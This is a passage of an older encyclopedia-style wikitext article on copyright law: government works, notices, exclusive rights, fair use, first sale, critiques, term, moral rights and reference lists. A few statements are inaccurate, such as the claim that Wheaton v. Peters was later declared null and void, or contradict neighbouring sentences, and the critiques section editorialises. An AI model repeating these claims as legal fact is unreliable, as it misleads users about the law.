*'''&quot;Copyright protection under this title is not available for any work of the United States Government, but the United States Government is not precluded from receiving and holding copyrights transferred to it by assignment, bequest, or otherwise.&quot;'''

*However, nothing in the law prohibits the United States Government from limiting commercial access to any work produced under 17 U.S.C. § 105, and there are specific prohibitions against automatic access to work otherwise covered under 17 U.S.C. § 105 for commercial purposes.

USA federal laws are in the [[public domain]] and no copyright attaches. The same is true of court decisions. It is not difficult to see the motivations behind this:

:''The citizens are the authors of the law, and therefore its owners, regardless of who actually drafts the provisions, because the law derives its authority from the consent of the public, expressed through the democratic process.'' (''State of Georgia v Harrison Co'', 548 F Supp 110, 114 (ND Ga 1982)) 

:''Edicts of government, such as judicial opinions, administrative rulings, legislative enactments, public ordinances, and similar official legal documents are not copyrightable for reasons of public policy. This applies to such works whether they are Federal, State, or local as well as to those of foreign governments.'' (The Compendium of Copyright Office Practices (Compendium II) section 206.01[[http://www.faqs.org/faqs/law/copyright/faq/part3/]] Paragraph 3.6 at 14 February 2006)

The decisions of the courts, and legislation, would ensure that laws would be subject to copyright law, in some respects. The American threshold for copyright protection does contain requirements of both originality and creativity. According to the [[United States Supreme Court]] in ''Harper &amp; Row Publishers Inc v Nation Enterprises'',  a work “must be original to the author”. The United States Supreme Court has also interpreted Article I, § 8, cl 8 of the United States Constitution as requiring “independent creation plus a modicum of creativity”. 

In the United States of America the exclusion of legislation from the scope of copyright laws dates to 1834, when the Supreme Court interpreted the first federal copyright laws and held that “no reporter has or can have any copyright in the written opinions delivered by this Court … “  In the same case it was argued – and accepted by the Court – that “it would be absurd, for a legislature to claim the copyright; and no one else can do it, for they are the authors, and cause them to be published without copyright … Statutes were never copyrighted.” Further, “it is the bounden duty of government to promulgate its statutes in print”.  Counsel emphasised the governing policy that “all countries … subject to the sovereignty of the laws” hold the promulgation of the laws, from whatever source, “as essential as their existence.”  “If either statutes or decisions could be made private property, it would be in the power of an individual to shut out the light by which we guide our actions.” (''Wheaton v Peters'', 33 US (8 Pet) 591, 668 (1834))

That the public interest is the primary determinant is clear from ''Banks v Manchester'' (128 US 244, 9 S Ct 36 (1888)).  In this the United States Supreme Court denied a copyright to a court reporter in his opinions of the [[Ohio Supreme Court]], on the grounds that “There has always been a judicial consensus, from the time of the decision in the case of ''Wheaton v Peters'',  that no copyright could, under the statutes passed by [[Congress]], be secured in the products of the labour done by judicial officers in the discharge of their judicial duties. The whole work done by the judges constitutes the authentic exposition and interpretation of the law, which, binding every citizen, is free for publication to all, whether it is a declaration of unwritten law, or an interpretation of a constitution or statute.” 

The law, as thus widely defined, is in the public domain, and therefore not amenable to copyright.  In ''Howell v Miller'', (91 F 129 (1898)) Justice Harlan denied an injunction sought for the compiler of [[Michigan]] [[statutes]], holding that “no one can obtain the exclusive right to publish the laws of the state in a book prepared by him.”  The question of formal ownership of the text of laws and decisions is perhaps secondary to the question of the dissemination of the law.

==Obtaining and enforcing copyright==
Typically, a work must meet minimal standards of originality in order to qualify for copyright, and the copyright expires after a set period of time (some jurisdictions may allow this to be extended). Different countries impose different tests, although generally the requirements are low; in the [[United Kingdom]] there has to be some 'skill, originality and work' which has gone into it. However, even fairly trivial amounts of these qualities are sufficient for determining whether a particular act of copying constitutes an infringement of the author's original expression.  In [[Australia]], it has been held that a single word is insufficient to comprise a copyright work.

In the [[United States]], copyright has relatively recently been made automatic, which has had the effect of making it more like a property right. Thus, as with property, a copyright need not be granted or obtained through official registration with the government. Once an idea has been reduced to material form, for example by securing it in a fixed medium (such as a drawing, sheet music, photograph, a videotape or a letter), the copyright holder is entitled to enforce his or her exclusive rights. However, while a copyright need not be officially registered for the copyright owner to begin exercising his exclusive rights, registration of works (where the laws of that jurisdiction provide for registration) does have its benefits: serving as [[prima facie]] evidence of a valid copyright and enabling the copyright holder to seek statutory damages and attorney's fees (whereas in the USA, for instance, registering after an infringement only enables one to receive actual damages and lost profits). The original holder of the copyright may be the employer of the actual author rather than the author himself if the work is a &quot;[[work for hire]]&quot;. Again, this principle is widespread; in [[English law]] the ''Copyright Designs and Patents Act'' 1988 provides that where a work in which copyright subsists is made by an employee in the course of that employment, the copyright is automatically assigned to the employer.

Copyrights are generally enforced by the holder in a [[Civil law (private law)|civil law]] court, but there are also criminal infringement statutes. Criminal sanctions are generally aimed at serious counterfeiting activity, but may now become more commonplace as the copyright collectives like the [[RIAA]] are more and more targeting the [[file sharing]] home Internet user. Thus far however, these cases have usually been settled outside of court, with demands of payment of several thousand dollars accompanied by nothing more than a threat to sue the file sharer, thus such cases do not even make it to civil law courts in reality.

Absence of the copyright symbol does not mean that the work is not covered by copyright.

===Copyright notices===
In some jurisdictions, in order to obtain a copyright when a work such as a book or movie is created the work generally should contain a ''copyright notice''. This notice is comprised by a letter c inside a circle (''i.e.'', ©), or the word &quot;copyright&quot;, followed by the year(s) of the copyright and the name of the copyright holder. Certain alternative formats were permitted for certain types of works. A copyright notice serves to inform any potential users that the work is copyrighted.

This requirement was generally the result of previous United States statutory requirements, but since 1989 in the U.S., the use of copyright notices has become optional. With the exception of a small number of countries which still require notices to be on works, this requirement is generally optional except for works which were originally created before the particular country became a member of the [[Berne Convention for the Protection of Literary and Artistic Works|Berne Convention]] (the members of which are collectively known as the ''Berne Union'').

A copyright notice is no longer required for a work to be covered by copyright in jurisdictions which have acceded to the Berne Convention. In most jurisdictions a work may be copyrighted from the moment of its creation regardless of whether or not it bears a copyright notice. However, the existence of a copyright notice may make it easier to claim certain [[damages]] for [[infringement]] in [[lawsuit|legal proceedings]], as a [[defendant]] may be presumed to have ignored the notice and intentionally infringed copyright.

The symbol, ©, is [[Unicode]] symbol &lt;code&gt;00A9&lt;/code&gt; in [[hexadecimal]], and can be entered into ([[XHTML|X]])[[HTML]] as &lt;code&gt;&amp;amp;copy;&lt;/code&gt;, &lt;code&gt;&amp;amp;#x00A9;&lt;/code&gt;, or &lt;code&gt;&amp;amp;#169;&lt;/code&gt;

====Year of copyright====
The year(s) of copyright are listed after the © symbol. If the work has been modified (i.e., a new edition) and recopyrighted, there will be more than one year listed.

====&quot;All rights reserved&quot;====
The phrase, ''[[All rights reserved]]'', was a formal notice that all [[Copyright#Rights of copyright holder|rights]] granted under existing copyright law are retained by the copyright holder and that legal action may be taken against [[copyright infringement]]. It was provided as a result of the [[Buenos Aires Convention]] of 1910, which required some statement of reservation of rights to grant international coverage in all the countries that were signatory to that convention.  While it is commonplace to see it, this notice is now superfluous, as every country that is a member of the Buenos Aires Convention is also a member of the Berne Convention, which requires copyright to be valid without any formality of notice.

This phrase is sometimes still used even on some documents to which the original author does ''not'' retain all rights granted by copyright law, such as works released under a [[copyleft]] license. This is a habitual formality and is unlikely to have legal consequences.

==The exclusive rights of the copyright holder==
Several exclusive rights typically attach to the holder of a copyright:
* to produce copies or reproductions of the work and to sell those copies (including, typically, electronic copies) 
* to import or export the work
* to create derivative works (adapt the work)
* to perform or display the work publicly
* to sell or assign these rights to others

The phrase &quot;exclusive right&quot; means that only the copyright holder is free to exercise the attendant rights, and others are prohibited from doing them without the consent of the copyright holder. Copyright is often called a &quot;negative right&quot;, as it serves to prohibit people (e.g. readers, viewers, or listeners) from doing something, rather than permit people (e.g. authors) to do something. In this way it is similar to the unregistered design right in [[English law]] and [[European law]].

There is however a critique which rejects this assertion as being based on a philosophical interpretation of copyright law as an entity, and is not universally shared. There is also debate on whether copyright should be considered a [[property right]] or a [[moral right]]. Many argue that copyright does not exist merely to restrict third parties from publishing ideas and information, and that defining copyright purely as a negative right is contrary to the public policy objective of encouraging authors to create new works and enrich the public domain.

In the [[United States]], the terms &quot;copyright&quot; and &quot;patent&quot; do not appear in the [[United States Constitution|Constitution]]; they are merely the forms of exclusive rights that the American [[legislature]] is constitutionally empowered to secure to accomplish the stated purpose of promoting the progress of science and useful arts (e.g. according to Article I, Section 8, Clause 8: &quot;Congress shall have Power [...] To promote the Progress of Science and useful Arts, by securing for limited Times to Authors and Inventors the exclusive Right to their respective Writings and Discoveries.&quot;).

The right to adapt a work means to transform the way in which the work is expressed.  Examples include developing a stage play or film script from a novel; translating a short story; and making an arrangement of a musical work.

==Limits and exceptions to copyright==
:''Main article: [[Limitations and exceptions to copyright]]''

===Idea-expression dichotomy and the merger doctrine===
:''Main article: [[Idea-expression divide]]''

A copyright covers the expression of an idea, not the idea itself &amp;mdash; this is called the idea/expression or fact/expression dichotomy. For example, if a book is written describing a new way to organize books in a library, a copyright does not prohibit a reader from freely using and describing that concept to others; it is only the particular expression of that process as originally described that is covered by copyright. One might be able to obtain a [[patent]] for the method, but that is a different area of law. Compilations of facts or data may also be copyrighted, but such a copyright is thin; it only applies to the particular selection and arrangement of the facts, not to the particular facts themselves.  In some jurisdictions databases are expressly covered by statute.

In some cases, ideas may be capable of intelligible expression in only one or a limited number of ways. Therefore even the expression in these circumstances is not covered. In the United States this is known as the [[merger doctrine]], because the expression is considered to be inextricably merged with the idea.  Merger is often pleaded as an [[affirmative defense]] to charges of infringement.  That doctrine is not necessarily accepted in other jurisdictions.

===The first-sale doctrine (exhaustion of rights)===
:''Main article: [[First-sale doctrine]]''

Copyright law does ''not'' restrict anyone from reselling legitimately obtained copies of copyrighted works, provided that those copies were originally produced by or with the permission of the copyright holder. It is therefore legal, for example, to resell a copyrighted book or [[compact disc|CD]]. In the [[United States]] this is known as the [[first-sale doctrine]], and was established by the [[court]]s to clarify the legality of reselling books in second-hand [[bookstore]]s.  Some countries may have [[parallel importation]] restrictions that allow the copyright holder of their licensee to control the [[aftermarket]].  This may mean for example that a  copy of a book that does not infringe copyright in the country where it was printed '''does''' infringe copyright in a country into which it is imported for retailing. The first-sale doctrine is known as [[exhaustion of rights]] in other countries and is a principle which applies to patents and trademark rights.

In addition, copyright, in most cases, does not prohibit one from acts such as modifying, defacing, or destroying his or her own legitimately obtained copies of copyrighted works, so long as duplication is not involved. However, in countries that implement [[moral rights]], a copyright holder can in some cases successfully prevent the mutilation or destruction of a work that is publicly visible.

===Fair use and fair dealing===
:''Main articles: [[fair use]] and [[fair dealing]]''

Copyright does not prohibit all copying or replication. In the [[United States]], the fair use doctrine, codified by the [[United States Copyright Act of 1976|Copyright Act of 1976]] as 17 U.S.C. Section 107, permits some copying and distribution. The statute does not clearly define fair use, but instead gives four non-exclusive factors to consider in a fair use analysis. In the [[United Kingdom]] and many other [[Commonwealth of Nations|Commonwealth]] countries, a similar notion of fair dealing was established by the [[court]]s or through [[legislation]]. The concept is sometimes not well defined, however in [[Canada]], private copying for personal use has been expressly permitted by statute since 1999.  In Australia, the [[fair dealing]] exceptions under the ''Copyright Act 1968'' (Cth) are a limited set of circumstances under which copyright material can be legally copied or adapted without the copyright holder's consent.  Fair dealing uses are research and study; review and criticism; news reportage and the giving of professional advice (ie legal advice).  Under current Australian law it is still a breach of copyright to copy, reproduce or adapt copyright material for personal or private use without permission from the copyright owner. Other technical exemptions from infringement may also apply, such as the temporary reproduction of a work in information technology.

In the United States the AHRA ([[Audio Home Recording Act]] Codified in Section 10, 1992) prohibits action against consumers making noncommercial recordings of music, in return for royalties on both media and devices plus mandatory copy-control mechanisms on recorders.

:''Section 1008. Prohibition on certain infringement actions''

:''No action may be brought under this title alleging infringement of copyright based on the manufacture, importation, or distribution of a digital audio recording device, a digital audio recording medium, an analog recording device, or an analog recording medium, or based on the noncommercial use by a consumer of such a device or medium for making digital musical recordings or analog musical recordings.''

Later acts amended US Copyright law so that making 10 copies or more is considered commercial, and the [[Digital Millennium Copyright Act]] effectively permits [[Digital rights management|DRM]] (Digital Rights/Restrictions Management) to prevent manufacture, importation, or distribution of recording devices if the device bypasses an access or copy control.

It is absolutely vital to remember that copyright regimes can differ greatly between countries.  It would be dangerous to assume that an activity permitted by the laws of one country is necessarily permitted elsewhere.

==Critiques==
:''Main article: [[Philosophy of copyright]]''

Critics of copyright as a whole fall broadly into two camps: Those who assert that the very concept of copyright has never been of net benefit to society, and has always served simply to enrich a few at the expense of creativity; and those who assert that the existing copyright regime must be reformed to maintain its relevance in the new [[Information society]]. The [[French copyright law|French ''droit d'auteur'']] (&quot;Rights of the Author&quot;), which influenced the 1886 [[Berne Convention for the Protection of Literary and Artistic Works]], must also be noted as a significant alternative to the concept of copyright.

Among the latter group, there are also some who continue to agree with copyright as a concept to grant authors rights, but feel that it &quot;outlives its welcome&quot; by granting copyright for too long, far beyond the lifetime of the author, and is therefore of little direct benefit to him or her.  This is typically attributed to corporate [[lobbying]].

To most critics, the general problem is that the current (international) copyright system undermines its own goal (Boyle 1996, 142).  The concepts of the [[public domain]] and the intrinsic freedom of information are necessary precepts for creators to be able to build on published expression.  But these are gradually being eroded, as copyright terms are repeatedly extended to last beyond the lifetime of the audience which experienced and knows of the original work.

Other copyright scholars believe that irrespective of contemporary advances in technology, copyright remains the fundamental way by which authors, sculptors, artists, musicians and others can fund the creation of new works, and that absent legal protection of their material interests, many valuable books and pieces of art would not be created.  This interest is arguably served even by repeated extension of copyright terms to encompass multiple generations beyond the copyright holder's life, not only because many &quot;authors&quot; and copyright holders are corporations, but also because the right of an author's heirs to continue to profit from a copyrighted work may provide a substantial part of the incentive to create.  Another effect of the repeated extension of copyright term is that current authors are shielded from competition from a wide public domain. By the time works currently enter the public domain, they almost always have become obsolete.

The recent success of [[free software]] projects such as [[Linux]], [[Mozilla Firefox]], and the [[Apache web server]] has demonstrated that quality works can be created even in the absence of copyright-enforced monopoly rents[http://www2.cio.com/consultant/report2214.html]. Instead, these products use copyright to enforce their license terms, which are designed to ensure the free nature of the work, rather than securing exclusive rights for the holder for monetary gain; such a license is called a ''[[copyleft]]'' or ''[[free software license]]''.

Copyrighted works replicated onto digital media are easily and trivially copied via [[file sharing]]. Attempts to prevent this have been largely unsuccessful, and file sharing almost never results in severe consequences for the violators. Producers of copyrighted material often attribute losses in their sales to online copying, yet they generally continue to produce material and make profits. This lack of apparent effect has been gradually eroding the belief that copyright as presently constructed is indispensable. A few artists actually support the file sharing of their own works, arguing that it expands their audience to include people who would not otherwise be able or willing to legally purchase their material.

It can be argued that, rather than criminalize the many millions of file sharers around the world who now routinely use the internet to commit acts that breach copyright (given that copyright laws have proven unenforceable), copyright holders use the legal system to apply extortion by charging for products that are readily available for free.  [[Bill Gates]] is on record as saying that there is no way technically of preventing copyrighted digital material being replicated, so future attempts to enforce copyrights may become uneconomic, as well as unpopular politically.  In the meantime, companies or indviduals held by a court to have infringed copyright may be required to pay substantial amounts in damages.  A recent and highly visible example is the Australian [[Kazaa]] case, ''Universal Music Australia Pty Ltd v Sharman License Holdings Ltd'' [2005] FCA 1242 ([[5 September]] [[2005]]); the company operating the Kazaa file-sharing system and individuals associated with it were held to have authorised infringement of copyright in musical recordings.  The recording industry is expected to seek multimillion dollar damages. 

&lt;!-- this needs a reference: Even in the United States the majority of people already believe that unauthorised online distribution of music should not be illegal. There is an irony here that open source file sharing networks like eMule are of far higher user quality than commercially funded operations - because they are devoid of adware! --&gt;
Copyright can also be used to stifle political criticism. For example, in the US the contents of talk shows and similar programs are covered by copyright. [[Robert Greenwald]], a director of ''Uncovered: The Whole Truth About the Iraq War'' documentary was refused the right to use a clip of a [[George W. Bush]] interview from [[NBC]]'s ''Meet the Press''. Although the fair use provisions may apply in such cases, the risks and the pressure from insurance companies usually prevents the use of materials without permission.

In the US in 2003, controversial changes implemented by the [[Sonny Bono Copyright Term Extension Act]] extending the length of copyright under [[U.S. copyright law]] by 20 years were constitutionally challenged unsuccessfully in the [[United States Supreme Court]]. The Court, in the case called [[Eldred v. Ashcroft]], held inter alia that in placing existing and future copyrights in parity in the CTEA, Congress acted within its authority and did not transgress constitutional limitations.  Other jurisdictions may have enacted legislation to provide for similar extensions of the copyright term.

Some online authors, such as [[Cory Doctorow]], retain the copyright to their work but license it for free distribution (for example under a [[Creative Commons License]]).  This has the benefit of providing a structured scheme under which authors can loosen some of the barriers that copyright imposes on others, allowing them to partially contribute the work to the community (in the form of giving a general grant on copying, reproduction, use or adaptation subject to certain conditions) while retaining other exclusive rights they hold in it.

:''Main article: [[Copyright social conflict]]''

Copyright is also conceived by some as an &quot;artificial barrier&quot; in that &quot;expressions&quot; could be freely exchanged between individuals and groups if there were no copyright or other legal restrictions preventing. Such people believe that as the [[state]] does not necessarily possess the moral authority to enact copyright laws, individuals may vary in their observation of such laws.

Copyright concepts are perceived to be under challenge in the modern technological era, from the increasing use of peer to peer filesharing, to the downward trend in profits for major [[record labels]] and the [[Big Ten (movie studios)|movie industry]]. [[Public interest]] groups, major corporations and their like are entering the public education system to teach the curriculum from their perspectives. The lobbying group for the [[MPAA]] have a curriculum entitled [http://www.mediainfocenter.org/story.asp?story_id=61684893 What's the Diff?] taught by a group of volunteers called Junior Achievement. The [[Business Software Alliance]] also has their own curriculum program called [http://www.playitcybersafe.com Play it Cybersafe], which is distributed to school children through a magazine called ''[[The Weekly Reader]]''.  There seems to be a general consensus in the USA that there needs to be some curriculum materials for school-aged children on copyright. A public-wiki has been installed by Downhill Battle to build a copyright curriculum called [http://www.copyrightcurriculum.com Copyright Curriculum] for teachers to download and use in their classrooms. [http://www.ala.org The American Librarian Association] will also be releasing their own curriculum for librarians to distribute in winter 2004.

==Other aspects==
===Transfer and licensing===
Copyright may be assigned or transferred from one party to another. For example, a musician who records an album will sign an agreement with a record company in which the musician agrees to transfer all copyrights in the recordings to the company in exchange for royalties and other terms. One might ask why a copyright holder would ever give up his rights.  The answer is that large companies generally have production and marketing capabilities far beyond that of the author. In the digital age of music, music may be copied and distributed for a minimal cost through the [[Internet]], however the [[record industry]] attempts to provide the service of promoting and marketing the artist so that the work can reach a much larger audience.  A copyright holder does not have to transfer all rights completely.  Some of the rights may be transferred, or else the copyright holder may grant another party a non-exclusive license to copy and/or distribute the work in a particular region or for a specified period of time.  A transfer or licence may have to meet particular formal requirements in order to be effective; see section 239 of the Australia ''Copyright Act 1968'' (Cth).  Under Australian law, it is not enough to pay for a work to be created in order to also own the copyright.  The copyright itself must be expressly transferred in writing.

Copyright may also be [[license]]d. Some jurisdictions may provide that certain classes of copyrighted works be made available under a [[statutory license]] (e g. musical works in the United States). This is also called a [[compulsory license]], because under this scheme, anyone who wishes to copy a covered work does not need the permission of the copyright holder, but instead merely files the proper notice and pays a set fee established by statute (or by agency decision under statutory guidance) for every copy made.  Failure to follow the proper procedures would then result in the copyist being vulnerable to an infringement suit.  Because of the difficulty of following this process for every individual work, [[copyright collective]]s or [[collecting societies]] and [[performing rights organisation|performing rights organization]]s (such as [[ASCAP]], [[Broadcast Music Incorporated|BMI]], [[RIAA]] and [[MPAA]]) have been formed to sell the rights to hundreds of works at once.  Though this market solution bypasses the statutory license, the availability of the statutory fee still helps dictate the price per work that collective rights organizations charge, driving it down to what the avoidance of procedural hassle would justify.

===Brief comparison with similar legal rights===
In general, copyright law covers the creative or artistic expression of an idea, patent law covers [[invention]]s, trademark law covers distinctive [[sign (semiotics)|sign]]s which are used in relation to [[product (business)|products]] or [[services]] as indicators of origin, registered designs law covers the look or appearance of a manufactured or functional article and the [[trade secret|law of confidential information]] covers secret or sensitive knowledge or information.

Although copyright and trademark laws are theoretically distinct, more than one type of them may cover the same item or subject matter. For example, in the case of the Mickey Mouse cartoon, the image and name of Mickey Mouse would be the subject of trademark legislation, while the cartoon itself would be subject to copyright. Titles and character names from books or movies may also be trademarked while the works from which they are drawn may qualify for copyright.

Another point of distinction is that a copyright (and a patent) is generally subject to a statutorily-determined term, whereas a trademark registration may remain in force indefinitely if the trademark is periodically used and renewal fees continue to be duly paid to the relevant jurisdiction's trade marks office or [[registry]]. Once the term of a copyright has expired, the formerly copyrighted work enters the [[public domain]] and may be freely used or exploited by anyone, as courts in the [[United States]] and the [[United Kingdom]] have rejected the doctrine of a [[common law copyright]].   Public domain works should not be confused with works that are publically available. It is completely incorrect, for instance, that simply posting material on the Internet places the material into the public domain such that anyone can freely copy, adapt or commercially exploit the work. Apart from anything else, the material may have been posted by someone who had no right to do so, let alone the power to waive copyright.

===How long copyright lasts===
Copyright subsists for a variety of lengths in different jurisdictions, with different categories of works and the length it subsists for also depends on whether a work is published or unpublished. In most of the world the default length of copyright for many works is either life of the author plus 50 years, or plus 70 years. Copyright in general always expires at the end of the year concerned, rather than on the exact date of the death of the author.  In the United States, all books and other items published before 1923 have expired copyrights and are in the public domain.  In the US, government documents, regardless of date, are all public domain.

===Moral rights===
:''Main article: [[Moral rights]]''

Many countries recognize certain moral rights of the author of a copyrighted work, following adoption of the [[WTO]] [[Agreement on Trade-Related Aspects of Intellectual Property Rights]] (which in turn requires, inter alia, the implementation of the relevant provisions in the [[Berne Convention for the Protection of Literary and Artistic Works|Berne Convention]]).  Two key moral rights are the right not to have the work altered or destroyed without consent, and the right to be attributed as the author of the work.

The [[Monty Python]] comedy troupe famously managed to rely on moral rights in 1975 in [[lawsuit|legal proceedings]] against American TV network [[American Broadcasting Company|ABC]] for airing re-edited versions of ''[[Monty Python's Flying Circus]]''.

The American exclusive rights tradition is inconsistent with the notion of moral rights as it was constituted in the Civil Code tradition stemming from France's revolution.  In the United States, exclusive rights are statutory and granted by Congress.  The first major copyright case in the United States, Wheaton v. Peters, established that copyright was not a natural right or a common law right.  Although the case was later nullified when the Supreme Court declared it null and void, it soon became a symbol for the morality of copyright. When the United States signed the Berne Convention, they stipulated that the Convention's &quot;moral rights&quot; provisions were addressed sufficiently by other statutes, such as laws covering libel and slander.

In most of Europe it is not possible for authors to assign their moral rights (unlike the copyright itself, which is regarded as an item of property which can be sold, licensed, lent, mortgaged or given like any other property). They can agree not to enforce them (and such terms are very common in contracts in Europe). There may also be a requirement for the author to 'assert' these moral rights before they can be enforced. In many books, for example, this is done on a page near the beginning, in amongst the British Library/Library of Congress data.

Some European countries also provide for artist resale rights, which mean that artists are entitled to a portion of the appreciation of the value of their work each time it is sold.  These rights are granted on the background of a different tradition, which granted ''droits d'auteur'' rather than copyright, also granting all creators various moral rights beyond the economic rights recognized in most copyright jurisdictions (see also [[parallel import]]).

===Typefaces===
In the [[United States]], [[typeface]] designs are not covered by copyright, but may be covered by [[patent]]s if sufficiently novel.

[[Germany]] (in 1981) and the [[United Kingdom]] (in 1989) have passed laws making typeface designs copyrightable. The British law, unlike the German, is retroactive, so designs produced before 1989 are also copyrighted if the copyrights would not have already expired.

===Unusual copyright grants===
On rare occasions, rights can be granted outside of usual legislation. When the [[Copyright law of the United Kingdom|current UK copyright legislation]] was debated in [[Parliament of the United Kingdom|Parliament]], former [[Prime Minister of the United Kingdom|Prime Minister]] [[James Callaghan|Lord Callaghan of Cardiff]] successfully proposed an amendment entitling the [[Great Ormond Street Hospital|Great Ormond Street Hospital for Sick Children]] to indefinitely retain the rights to payments of [[royalties]] for performances of [[Peter Pan]]. This privilege can be seen explicitly written into [http://www.hmso.gov.uk/acts/acts1988/Ukpga_19880048_en_28.htm#sdiv6 Schedule 6] of the Act.

The [[King James Version]] of the Bible also has an [[Crown copyright|unusual status]]: While it is in the public domain throughout most of the world, production in the UK must be authorized by the Crown. [[William Lily|Lily]]'s Latin Grammar was also under perpetual crown copyright as of 1911.[http://www.1911encyclopedia.org/C/CO/COPYRIGHT.htm]

==Registering copyright in the United States==
While copyright in the United States automatically attaches upon the creation of an original work of authorship, registration with the copyright office puts a copyright holder in a better position if litigation arises over the copyright. A copyright holder desiring to register his or her copyright should do the following:
#Obtain and complete appropriate [http://www.copyright.gov/forms/ form.]
#Prepare clear renditon of material being submitted for copyright
#Send both documents to U.S. Copyright Office in Washington, D.C.

==See also==
===Related concepts===
*CONTU (The National Commission on New Technological Uses of Copyright Works)
*[[Copyleft]]
*[[Copyright education]]
*[[Copyright infringement]]
*[[Copyright infringement of software]]
*[[Copyright on religious works]]
*[[Creative Commons]]
*[[Digital rights management]]
*[[Digital watermarking]]
*[[Copyright treaty table|List of copyright treaty membership]]
*[[List of leading legal cases in copyright law]]
*[[List of countries' copyright length]]
*[[Paracopyright]]
*[[Reproduction fees]]
*[[Software copyright]]

===Critique===
*[[Anti-copyright]]
*[[Copyleft]]
*[[Copynorm]]
*[[Copyright-free]]
*[[Crypto-anarchism]]
*''[[Free Culture|Free Culture: How Big Media Uses Technology and the Law to Lock Down Culture and Control Creativity]]'' by [[Lawrence Lessig]]
*[[Permission culture]] &amp;mdash; neologism by Lawrence Lessig.
*''[[The Uneasy Case for Copyright|The Uneasy Case for Copyright: A Study of Copyright in Books, Photocopies, and Computer Programs]]'' by [[Stephen Breyer]].

===Other===
*[[The Disneyland Memorial Orgy]]
*[[Image copyright tags]] (for use in Wikipedia)

===Some legislation===
*[[Digital Millennium Copyright Act]]  (US)
*[[Sonny Bono Copyright Term Extension Act]] (US)
*[[EU Copyright Directive]]
*[[Directive on harmonising the term of copyright protection|Directive on harmonizing the term of copyright protection]] (EU)

===National copyright laws===
* [[United States copyright law]]
* [[Japan copyright law]]
* [[Australian copyright law]]
* [[Copyright law of the European Union]]
* [[Copyright law of the United Kingdom]]
* [[Hong Kong copyright law]]
* [[Canadian copyright law]]
* [[Philippine copyright law]]
* [[Netherlands copyright law]]
* [[French copyright law]], which is based on another philosophy, not founded on &quot;copyright&quot; but on the &quot;Right of the Author&quot; (''droit d'auteur'').

===International treaties===
* [[Berne Convention for the Protection of Literary and Artistic Works]] of 1886
* [[Universal Copyright Convention]] of 1952
* [[Rome Convention]] of 1961
* The [[World Trade Organization|WTO]] [[Agreement on Trade-Related Aspects of Intellectual Property Rights]] (TRIPS), of 1994
* [[WIPO Copyright Treaty]] of 1996
* [[WIPO Performances and Phonograms Treaty]] of 1996

===Notable advocates of copyright law reform===
* [[Mary Bono]]
* [[Robin Gross]]
* [[Lawrence Lessig]]
* [[Eben Moglen]]
* [[Richard Stallman]]
* [[Jack Valenti]]
* [[Jorge Cortell]]
* [[Rick Boucher]]

==Miscellaneous further reading==
*[[Bruce Lehman|Lehman, Bruce]]: Intellectual Property and the National Information Infrastructure (Report of the Working Group on Intellectual Property Rights, 1995)
* Gantz, John &amp; Rochester, Jack B. ''Pirates of the Digital Millennium''. Financial Times Prentice Hall, 2005, ISBNO-13-146315-2
* Mazzone, Jason. Copyfraud. http://ssrn.com/abstract=787244 
* [[Simon Moores|Moores, Simon]] - &quot;March of the Spiders:&quot; Policy Challenges for Copyright in the Digital Publishing Environment (2005)
* [[Shuman Ghosemajumder|Ghosemajumder, Shuman]]. ''[http://shumans.com/p2p-business-models.pdf Advanced Peer-Based Technology Business Models]''.  [[MIT Sloan School of Management]], 2002.
* Silverthorne, Sean. ''[http://hbswk.hbs.edu/item.jhtml?id=4206&amp;t=innovation Music Downloads: Pirates- or Customers?]''.  [[Harvard Business School|Harvard Business School Working Knowledge]], 2004.

==External links==
{{Commons|Copyright}}
{{wikiquote}}
* [http://www.ip-watch.org/ IP Watch] independent news site reporting on the influences on implementation of intelectual property law.
* [http://www.ipdragon.blogspot.com/ IP Dragon] focused on intelectual property in China
* [http://www.ipjustice.org IP Justice] - international civil liberties organization that promotes balanced intellectual property law
* [http://www.malaquias.net/en/joseluis/articles/copyright.pdf An Alternative Economic System for the Information Era] An argument on the inadequacy of the copyright system, and a proposal for an alternative economic system for copyright
* [http://thoughtyard.com/content/view/13/37 Copywar] A proposal to replace the copyright system
* [http://www.copyrightcurriculum.com Copyright Curriculum] (public wiki of a comprehensive view on copyright for students)
* [http://www.andrew82.net/articles/politics/informationage/ The End of the Information Age] An analysis of the history of Copyright policy and its impact on society
* [http://dylansuzanne.info/mainelectures.html Maine Lecture Series on the Crisis in Copyright] A couple of lectures on copyright and philosophy of technology, by Dylan Suzanne
* [http://www.templetons.com/brad/copyright.html A brief intro to copyright] (by [[Brad Templeton]], with more in-depth links)
* [http://www.templetons.com/brad/copymyths.html 10 Big Myths about copyright explained]
* [http://users.goldengate.net/~kbrady/copyright.html Common Copyright Myths and Misconceptions]
* [http://www.templetons.com/brad/copysolve.html Responses to the Copyright Crisis] - what can be done?
* [[Thomas Babbington Macaulay]] [http://www.kuro5hin.org/story/2002/4/25/1345/03329 on copyright (1841)]
* The [http://www.fepproject.org/policyreports/copyright.html Free Expression Policy Project report on copyright]
* The differences between the length of copyright provided by different countries creates situations where it is legal to publish a work on the Web in one country (''e.g.'', [[Bulgaria]]), but illegal to view that Web page in another country (''e.g.'', the [[United States]]): http://onlinebooks.library.upenn.edu/nonus.html
* [http://orion.mt.tama.hosei.ac.jp/hideaki/twocopy.htm The Origin of Two American Copyright Theories --A Case of the Reception of English Law --], The Journal of Arts Management, Law and Society, Vol. 30, No. 3, (Fall 2000, [http://www.heldref.org/ Heldref Publications]) by [[Hideaki Shirata]]
*[http://www.michaellorenzen.com/eric/copyright.html Libraries in Today's Digital Age: The Copyright Controversy]
*[http://www.infoanarchy.org/wiki/wiki.pl?Copyright_Background Copyright Background] on infoanarchy.org including links to many countries laws, and economics of copyright
*[http://www.mp3board.com/ MP3Board.com] - News site which aggregates copyright news (and other IP news). 
*[http://slashdot.org/features/00/01/20/1316236.shtml B. Gates Rants About Software Copyrights - in 1980]
*[http://www.freeculture.org FreeCulture.org]
*[http://www.downhillbattle.org DownHill Battle]
*[http://www.dacs.org.uk The Design &amp; Artists Copyright Society] - A not-for-profit organization founded by artists to protect and promote their copyright.
*Article &quot;[http://www.law.berkeley.edu/journals/btlj/articles/vol15/frischmann/frischmann.html The Evolving Common Law Doctrine of Copyright Misuse: A Unified Theory and Its Application to Software]&quot; by [[Brett Frischmann]] and [[Dan Moylan]]
*[http://www.copyright.gov/ United States Copyright Office]
*[http://creativecommons.org/ The Creative Commons] - A not-for-profit organization that offers a free and less restrictive alternative to the Copyright.
*[http://www.law.duke.edu/journals/dltr/articles/2002dltr0023.html (2002 Duke L. &amp; Tech. Rev. 0023)] MUSIC PIRACY AND THE AUDIO HOME RECORDING ACT
